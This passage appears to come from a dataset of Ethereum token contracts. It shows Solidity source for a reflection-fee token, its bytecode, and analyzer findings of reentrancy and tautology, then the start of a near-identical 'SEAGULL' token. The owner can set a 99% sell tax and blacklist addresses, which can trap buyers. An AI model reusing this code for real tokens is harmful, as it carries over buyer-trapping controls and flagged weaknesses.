uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy Rewards");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy Tax");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell Rewards");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell Tax");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ae57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a65565b6105f9565b005b34801561020a57600080fd5b50604080518082019091526007815266436c696d41706560c81b60208201525b6040516102379190611b2a565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611b7f565b610698565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50683635c9adc5dea000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611bab565b6106af565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601554610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611bec565b610718565b34801561036c57600080fd5b506101fc61037b366004611c19565b610763565b34801561038c57600080fd5b506101fc6107ab565b3480156103a157600080fd5b506102c06103b0366004611bec565b6107f6565b3480156103c157600080fd5b506101fc610818565b3480156103d657600080fd5b506101fc6103e5366004611c34565b61088c565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611bec565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610290565b34801561045757600080fd5b506101fc610466366004611c19565b6108cb565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506040805180820190915260048152634341504560e01b602082015261022a565b3480156104ba57600080fd5b506101fc6104c9366004611c34565b610913565b3480156104da57600080fd5b506101fc6104e9366004611c4d565b610942565b3480156104fa57600080fd5b50610260610509366004611b7f565b610a76565b34801561051a57600080fd5b50610260610529366004611bec565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc610a83565b34801561055f57600080fd5b506101fc61056e366004611c7f565b610ad7565b34801561057f57600080fd5b506102c061058e366004611d03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611c34565b610b78565b3480156105e557600080fd5b506101fc6105f4366004611bec565b610ba7565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611d3c565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611d71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611d9d565b91505061062f565b5050565b60006106a5338484610c91565b5060015b92915050565b60006106bc848484610db5565b61070e843361070985604051806060016040528060288152602001611eb7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112f1565b610c91565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611d3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611d3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f38161132b565b50565b6001600160a01b0381166000908152600260205260408120546106a990611365565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611d3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611d3c565b674563918244f400008111156107f357601655565b6000546001600160a01b031633146108f55760405162461bcd60e51b815260040161062390611d3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260040161062390611d3c565b601855565b6000546001600160a01b0316331461096c5760405162461bcd60e51b815260040161062390611d3c565b60048411156109ab5760405162461bcd60e51b815260206004820152600b60248201526a427579205265776172647360a81b6044820152606401610623565b60148211156109e65760405162461bcd60e51b8152602060048201526007602482015266084eaf240a8c2f60cb1b6044820152606401610623565b6004831115610a265760405162461bcd60e51b815260206004820152600c60248201526b53656c6c205265776172647360a01b6044820152606401610623565b6063811115610a625760405162461bcd60e51b81526020600482015260086024820152670a6cad8d840a8c2f60c31b6044820152606401610623565b600893909355600a91909155600955600b55565b60006106a5338484610db5565b6012546001600160a01b0316336001600160a01b03161480610ab857506013546001600160a01b0316336001600160a01b0316145b610ac157600080fd5b6000610acc306107f6565b90506107f3816113e9565b6000546001600160a01b03163314610b015760405162461bcd60e51b815260040161062390611d3c565b60005b82811015610b72578160056000868685818110610b2357610b23611d71565b9050602002016020810190610b389190611bec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6a81611d9d565b915050610b04565b50505050565b6000546001600160a01b03163314610ba25760405162461bcd60e51b815260040161062390611d3c565b601755565b6000546001600160a01b03163314610bd15760405162461bcd60e51b815260040161062390611d3c565b6001600160a01b038116610c365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610e7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610edd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610f0957506000546001600160a01b03838116911614155b156111ea57601554600160a01b900460ff16610fa2576000546001600160a01b03848116911614610fa25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610ff45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff1615801561103657506001600160a01b03821660009081526010602052604090205460ff16155b61108e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461111357601754816110b0846107f6565b6110ba9190611db8565b106111135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b600061111e306107f6565b6018546016549192508210159082106111375760165491505b80801561114e5750601554600160a81b900460ff16155b801561116857506015546001600160a01b03868116911614155b801561117d5750601554600160b01b900460ff165b80156111a257506001600160a01b03851660009081526005602052604090205460ff16155b80156111c757506001600160a01b03841660009081526005602052604090205460ff16155b156111e7576111d5826113e9565b4780156111e5576111e54761132b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122c57506001600160a01b03831660009081526005602052604090205460ff165b8061125e57506015546001600160a01b0385811691161480159061125e57506015546001600160a01b03848116911614155b1561126b575060006112e5565b6015546001600160a01b03858116911614801561129657506014546001600160a01b03848116911614155b156112a857600854600c55600954600d555b6015546001600160a01b0384811691161480156112d357506014546001600160a01b03858116911614155b156112e557600a54600c55600b54600d555b610b7284848484611572565b600081848411156113155760405162461bcd60e51b81526004016106239190611b2a565b5060006113228486611dd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156113cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006113d66115a0565b90506113e283826115c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143157611431611d71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148557600080fd5b505afa158015611499573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bd9190611de7565b816001815181106114d0576114d0611d71565b6001600160a01b0392831660209182029290920101526014546114f69130911684610c91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061152f908590600090869030904290600401611e04565b600060405180830381600087803b15801561154957600080fd5b505af115801561155d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061157f5761157f611605565b61158a848484611633565b80610b7257610b72600e54600c55600f54600d55565b60008060006115ad61172a565b90925090506115bc82826115c3565b9250505090565b60006113e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061176c565b600c541580156116155750600d54155b1561161c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116458761179a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061167790876117f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116a69086611839565b6001600160a01b0389166000908152600260205260409020556116c881611898565b6116d284836118e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171791815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061174682826115c3565b82101561176357505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361178d5760405162461bcd60e51b81526004016106239190611b2a565b5060006113228486611e75565b60008060008060008060008060006117b78a600c54600d54611906565b92509250925060006117c76115a0565b905060008060006117da8e87878761195b565b919e509c509a509598509396509194505050505091939550919395565b60006113e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f1565b6000806118468385611db8565b9050838110156113e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b60006118a26115a0565b905060006118b083836119ab565b306000908152600260205260409020549091506118cd9082611839565b30600090815260026020526040902055505050565b6006546118ef90836117f7565b6006556007546118ff9082611839565b6007555050565b6000808080611920606461191a89896119ab565b906115c3565b90506000611933606461191a8a896119ab565b9050600061194b826119458b866117f7565b906117f7565b9992985090965090945050505050565b600080808061196a88866119ab565b9050600061197888876119ab565b9050600061198688886119ab565b905060006119988261194586866117f7565b939b939a50919850919650505050505050565b6000826119ba575060006106a9565b60006119c68385611e97565b9050826119d38583611e75565b146113e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b8035611a6081611a40565b919050565b60006020808385031215611a7857600080fd5b823567ffffffffffffffff80821115611a9057600080fd5b818501915085601f830112611aa457600080fd5b813581811115611ab657611ab6611a2a565b8060051b604051601f19603f83011681018181108582111715611adb57611adb611a2a565b604052918252848201925083810185019188831115611af957600080fd5b938501935b82851015611b1e57611b0f85611a55565b84529385019392850192611afe565b98975050505050505050565b600060208083528351808285015260005b81811015611b5757858101830151858201604001528201611b3b565b81811115611b69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b9257600080fd5b8235611b9d81611a40565b946020939093013593505050565b600080600060608486031215611bc057600080fd5b8335611bcb81611a40565b92506020840135611bdb81611a40565b929592945050506040919091013590565b600060208284031215611bfe57600080fd5b81356113e281611a40565b80358015158114611a6057600080fd5b600060208284031215611c2b57600080fd5b6113e282611c09565b600060208284031215611c4657600080fd5b5035919050565b60008060008060808587031215611c6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c9457600080fd5b833567ffffffffffffffff80821115611cac57600080fd5b818601915086601f830112611cc057600080fd5b813581811115611ccf57600080fd5b8760208260051b8501011115611ce457600080fd5b602092830195509350611cfa9186019050611c09565b90509250925092565b60008060408385031215611d1657600080fd5b8235611d2181611a40565b91506020830135611d3181611a40565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611db157611db1611d87565b5060010190565b60008219821115611dcb57611dcb611d87565b500190565b600082821015611de257611de2611d87565b500390565b600060208284031215611df957600080fd5b81516113e281611a40565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e545784516001600160a01b031683529383019391830191600101611e2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eb157611eb1611d87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220528c1e22c13e51ac0c2b232958d453cdd4ecf5c02c61151c4ee2bce8c453eccd64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,614 |
0xd21aadf86d3cacd304057636b640cd51267747e2
|
/**
Seagull https://t.me/seagulltokoen
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SeagullToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SEAGULL";//
string private constant _symbol = "SEAGULL";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 12;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xDCc10Cd79c858FeaF04CeF35d279aC0bD8FE9b1B);//
address payable private _marketingAddress = payable(0xc47Cd89E2f38255833DcFc529f29e2a99eC4556A);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9; //
uint256 public _maxWalletSize = 31000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
